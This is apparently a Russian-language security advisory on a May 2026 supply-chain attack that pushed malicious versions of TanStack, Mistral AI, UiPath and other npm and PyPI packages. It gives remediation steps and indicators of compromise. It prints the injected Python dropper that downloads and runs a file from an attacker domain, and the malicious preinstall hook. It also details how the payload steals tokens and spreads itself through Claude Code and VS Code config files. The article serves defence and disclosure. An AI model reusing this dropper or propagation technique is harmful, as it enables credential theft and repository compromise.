Атака на npm и PyPI: 404 вредоносные версии в TanStack, Mistral AI, UiPath за пять часов

404 вредоносные версии в 170+ npm-пакетах и двух PyPI-пакетах за пятичасовое окно. Payload самовоспроизводится, коммитя .claude/settings.json и .vscode/tasks.json в чужие репозитории. Что делать прямо сейчас.

Обложка: Атака на npm и PyPI: 404 вредоносные версии в TanStack, Mistral AI, UiPath за пять часов

Если у вас в зависимостях есть что-то из @tanstack/*, @mistralai/* или @uipath/* — проверьте lockfile прямо сейчас. В ночь с 11 на 12 мая 2026 года атакующий опубликовал 404 вредоносных версии в 170+ npm-пакетах и двух PyPI-пакетах за пятичасовое окно. Самое неприятное: payload самовоспроизводится, подкладывая .claude/settings.json и .vscode/tasks.json в репозитории жертв.

Это одна из крупнейших координированных атак на реестры пакетов в 2026 году, и первая, которая в одной кампании задела сразу и npm, и PyPI. StepSecurity и Socket трекают её как «mini-shai-hulud». Разбираемся, что произошло, кто пострадал и что делать.

Ключевые выводы
Атака на npm и PyPI 11 мая 2026
Главное за пять минут
  • 404 вредоносные версии в 170+ npm-пакетах и 2 PyPI-пакетах, опубликованы в течение пятичасового окна 11 мая.
  • Под удар попали: @tanstack (42 пакета роутера для React, Vue, Solid), @mistralai (3 SDK), @uipath (65 пакетов автоматизации), @opensearch-project/opensearch (1,3 млн загрузок в неделю), Guardrails AI.
  • Два механизма триггера в npm: preinstall-хук (@mistralai) и optionalDependency с prepare-скриптом (@tanstack). На PyPI — инжекция в __init__.py, срабатывает при импорте, а не при установке.
  • Payload крадёт GitHub-токены, npm-токены, AWS IAM-credentials и HashiCorp Vault-credentials. Эксфильтрация — через onion-routed мессенджер Session, поэтому C2-домен заблокировать нельзя.
  • Самораспространение: payload использует украденный GitHub-токен, чтобы закоммитить .claude/settings.json и .vscode/tasks.json в feature-ветки чужих репозиториев через GraphQL-мутацию createCommitOnBranch.
  • Безопасные версии: mistralai ≤ 2.4.5, guardrails-ai ≤ 0.10.0. По npm — пиньте версии и регенерируйте lockfile.

Что произошло

В ночь с 11 на 12 мая 2026 года автоматическая система детекта SafeDep засекла массовый burst странных публикаций на npm. Атакующий действовал не точечно, как в случае с axios в марте 2026, а целыми scope-ами: внутри одного scope падали сразу все пакеты. К утру стали известны границы кампании — 170 npm-пакетов, 404 вредоносные версии, плюс 2 PyPI-пакета.

Кого затронуло

  • TanStack (42 пакета, 84 версии): целый экосистем роутера — @tanstack/react-router, @tanstack/vue-router, @tanstack/solid-router, их devtools, SSR-плагины и build-инструменты. У @tanstack/react-router — 3 миллиона загрузок в неделю.
  • Mistral AI (3 пакета, 9 версий): core SDK @mistralai/mistralai и его обёртки под Azure и GCP. По три вредоносные версии на каждый.
  • UiPath (65 пакетов, 65 версий): весь scope @uipath — SDK агентов, оркестратор, инструменты RPA, пакеты для интеграции.
  • OpenSearch (@opensearch-project/opensearch): официальный JavaScript-клиент, 4 затронутые версии — 3.5.3, 3.6.2, 3.7.0, 3.8.0. 1,3 миллиона загрузок в неделю.
  • Guardrails AI (guardrails-ai==0.10.1 на PyPI): фреймворк validation guardrails для Python.
  • Mistral AI на PyPI (mistralai==2.4.6): официальный SDK; легитимного релиза 2.4.6 не существовало, последняя версия — 2.4.5 от 7 мая.

Как работает атака

На npm — два механизма триггера

Для Mistral AI атакующий заменил блок scripts в package.json на preinstall-хук. Этот хук скачивает Bun runtime и запускает payload setup.mjs, который, в свою очередь, запускает основной обфусцированный бинарь router_init.js.

			// package.json в @mistralai/[email protected]
"scripts": {
  "build": "tsgo",
  "prepublishOnly": "npm run build",
  "preinstall": "node setup.mjs"   // ← новое
}
		

Для TanStack атакующий пошёл хитрее. В легитимный package.json добавлен optionalDependency, указывающий на вредоносный коммит в реальном репозитории tanstack/router на GitHub (коммит #79ac49eedf774dd4b0cfa308722bc463cfe5885c). В этом коммите лежит prepare-скрипт, который снова тянет Bun и запускает тот же payload.

Преимущество атакующего: коммит в публичном репозитории, который ссылается из optionalDependency, не вызывает алертов автоматических сканеров — внешне это легитимная зависимость.

На PyPI — инжекция в __init__.py

PyPI устроен иначе: sandboxed install через pip download и pip wheel не выполняет код пакета. Поэтому атакующий не стал прятать payload в install-хуке. Вместо этого в __init__.py добавили 15 строк, срабатывающих при первом import:

			# guardrails/__init__.py — добавленные строки в 0.10.1
import urllib.request
import subprocess
import sys

if sys.platform.startswith("linux"):
    URL = "https://git-tanstack.com/transformers.pyz"
    PATH = "/tmp/transformers.pyz"
    req = urllib.request.Request(URL, headers={'User-Agent': 'Mozilla/5.0'})
    with urllib.request.urlopen(req) as response, open(PATH, 'wb') as out_file:
        out_file.write(response.read())
    subprocess.run(["python3", PATH])
		

Никакой обфускации: URL, путь и команда выполнения — открытым текстом. Проверка sys.platform запускает dropper только на Linux. macOS- и Windows-сборки несут трояны, но dropper там не сработает. Cloudflare помечает домен git-tanstack.com как phishing-сайт.

Что крадёт payload

Внутри обфусцированного router_init.js — модульный credential stealer с дедикейтными провайдерами под разные источники секретов:

  • GitHub PAT, OAuth и App-installation токены: паттерны ghp_*, gho_*, ghs_*.
  • GitHub Actions OIDC JWT — формата ghs_NNN_xxx.yyy.zzz.
  • npm publish tokens (npm_*).
  • AWS IAM credentials через зондирование metadata-эндпоинта 169.254.169.254/latest/meta-data/iam/security-credentials/.
  • HashiCorp Vault — пробу на localhost:8200.

Сканер регулярок прогоняется по содержимому переменных окружения, файлам конфигурации и истории shell. Цель — максимизировать lateral movement из CI/CD-окружений и dev-машин в публичное облако.

Самораспространение через Claude Code и VS Code

Самая интересная и пугающая часть payload — self-replication механизм. Имея украденный GitHub-токен, payload использует GraphQL-мутацию createCommitOnBranch, чтобы закоммитить вредоносные файлы в репозитории жертвы:

  • .claude/settings.json и .claude/setup.mjs — конфиг для Claude Code, запускающий payload при открытии проекта.
  • .vscode/tasks.json и .vscode/setup.mjs — то же самое для VS Code.
  • .claude/router_runtime.js — полная копия 2,2-мегабайтного payload, чтобы следующая стадия не зависела от внешнего хоста.

Цели коммитов выбираются хитро: payload запрашивает до 50 веток через GraphQL и отфильтровывает main, master, develop и release (типичный набор). Коммиты идут в feature- и topic-ветки, где меньше шансов нарваться на ревью. В коммит-сообщении добавляется случайный Co-authored-by, чтобы выглядеть «коллективно».

Итог цепочки: любой разработчик, который git pull заражённую ветку и откроет проект в VS Code или Claude Code, запустит payload без явного действия. Затем его токены крадутся — и цикл повторяется.

Эксфильтрация через Session — почему домен не закрыть

Атакующий не использовал классический C2-домен. Вместо этого payload содержит полную реализацию клиента Session — onion-routed мессенджера на сети Oxen. Payload связывается с pre-pinned seed-нодами (seed1.getsession.org, seed2.getsession.org, seed3.getsession.org), получает список snode-ов и отправляет украденные креды через peer-to-peer-сеть.

Для больших данных payload использует filev2.getsession.org/file/ — централизованный файловый сервер Session. Это единственная фиксированная точка инфраструктуры; всё остальное — динамическое peer-to-peer-разрешение через swarm. Защитники не могут отозвать swarm так, как отзывают домен.

Шифрование на ed25519 и x25519, перебор snode-адресов в рантайме — блокировка C2 на уровне DNS или firewall здесь не работает.

Что делать прямо сейчас

Для npm-проектов

Проверьте lockfile на наличие вредоносных версий по затронутым scope-ам:

			npm ls | grep -E "@tanstack|@mistralai|@uipath|@squawk|@opensearch-project|@tallyui"
		

Если что-то найдено — запиньте пакеты на известные безопасные версии и перегенерируйте lockfile. После этого ротейтьте все секреты, к которым имела доступ ваша dev-машина или CI: GitHub PAT, npm-токены, AWS-ключи, Vault-токены.

Для Python-проектов

Проверьте установленные версии:

			pip show mistralai guardrails-ai
		

Если у вас mistralai==2.4.6 или guardrails-ai==0.10.1 — окружение скомпрометировано. Безопасные версии: mistralai ≤ 2.4.5 и guardrails-ai ≤ 0.10.0.

Дополнительная гигиена

  • Проверьте feature- и topic-ветки своих репозиториев на свежие коммиты с подложенными файлами в .claude/ и .vscode/ — особенно если у вас под рукой Claude Code или VS Code с активным GitHub-токеном.
  • Запретите автоматический запуск preinstall- и postinstall-скриптов через флаг --ignore-scripts.
  • Просканируйте репозитории на наличие .claude/router_runtime.js — это копия payload, размер около 2,2 МБ.

Indicators of Compromise (IoC)

			# C2 / эксфильтрация
hxxp://filev2[.]getsession[.]org/file/
hxxps://git-tanstack[.]com/transformers.pyz
seed1.getsession.org, seed2.getsession.org, seed3.getsession.org

# Зонды на cloud-метаданные
hxxp://169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/
hxxp://127[.]0[.]0[.]1:8200   # HashiCorp Vault

# Скачиваемые файлы
.claude/settings.json
.claude/setup.mjs
.claude/router_runtime.js
.vscode/tasks.json
.vscode/setup.mjs
/tmp/transformers.pyz

# Хеш одного из npm-пакетов
SHA-256: ce7e4199506959fd7a71b64209b2c07b9c82e53a946aa7d78298dc9249230d01
  (@mistralai/[email protected])

# Token patterns (по чему сканер ищет секреты)
ghp_*, gho_*, ghs_*, npm_*
		

FAQ

Часто задаваемые вопросы
1
Я установил @tanstack/react-router утром 12 мая — что делать?

Считайте машину потенциально скомпрометированной. Безопасной версии в зоне атаки не было, потому что @tanstack/react-router использует optionalDependency на вредоносный коммит. Ротейтьте все локальные секреты: GitHub PAT, npm-токены, AWS-ключи, SSH-ключи. Проверьте свежие коммиты в свои репозитории — payload мог уже законспирировать их.

2
А если pip install mistralai==2.4.6 я запустил из CI?

Сам по себе pip install/pip download/pip wheel не запускает payload — он сработает при первом import. Если CI делает только установку и не импортирует пакет — вы, вероятно, чисты. Если в pipeline есть python -c "import mistralai" или запуск приложения, использующего SDK — окружение скомпрометировано. Безопаснее ротейтить секреты CI на всякий случай.

3
Почему именно npm и PyPI, а не другие реестры?

Атакующий получил доступ к публикационным credentials в этих экосистемах. На npm и PyPI взлом происходит через украденный publishing-токен, который позволяет залить новые версии без code review. RubyGems, crates.io, NuGet эта кампания не затронула. Архитектурно npm уязвимее остальных за счёт повсеместного preinstall/postinstall.

4
Почему C2 нельзя зарубить?

Эксфильтрация идёт через Session — peer-to-peer onion-routed мессенджер на сети Oxen. Snode-адреса разрешаются динамически из seed-нод. Можно заблокировать domain seed1/2/3.getsession.org, но это не сломает уже работающие swarm-соединения. Кроме того, payload параллельно эксфильтрирует через GitHub repository contents API, что ещё сложнее зарубить — это легитимная инфраструктура.

5
Это связано с March-атакой axios?

По SafeDep, нет. Та атака целилась в один высокоценный пакет; нынешняя — массированная по сотням пакетов одновременно. Тактика разная, но root cause общий: украденные publishing credentials дают атакующему unrestricted access на публикацию любых версий.

Выводы

Эта атака подсветила два архитектурных риска, которые мы коллективно проигнорировали. Первый — preinstall/postinstall-скрипты в npm по дефолту запускаются от лица пользователя; одно зависимое дерево из 100 пакетов даёт атакующему 100 шансов запуститься на dev-машине. Второй — IDE-конфиги в репозиториях. Удобство «открыл проект и сразу работает» оборачивается атакующим прямо тем же удобством: пушнул .claude/setup.mjs в feature-ветку — и payload запускается у каждого, кто склонирует ветку.

Защита здесь — это --ignore-scripts в npm, изолированные среды для install (контейнеры, devcontainers), review-обязательность для всех веток, отслеживание незапланированных .claude/- и .vscode/-файлов в pull-requests.

Полный технический разбор с дизассемблированным payload, swarm-логикой и appendix-ом со всеми пакетами — в посте SafeDep.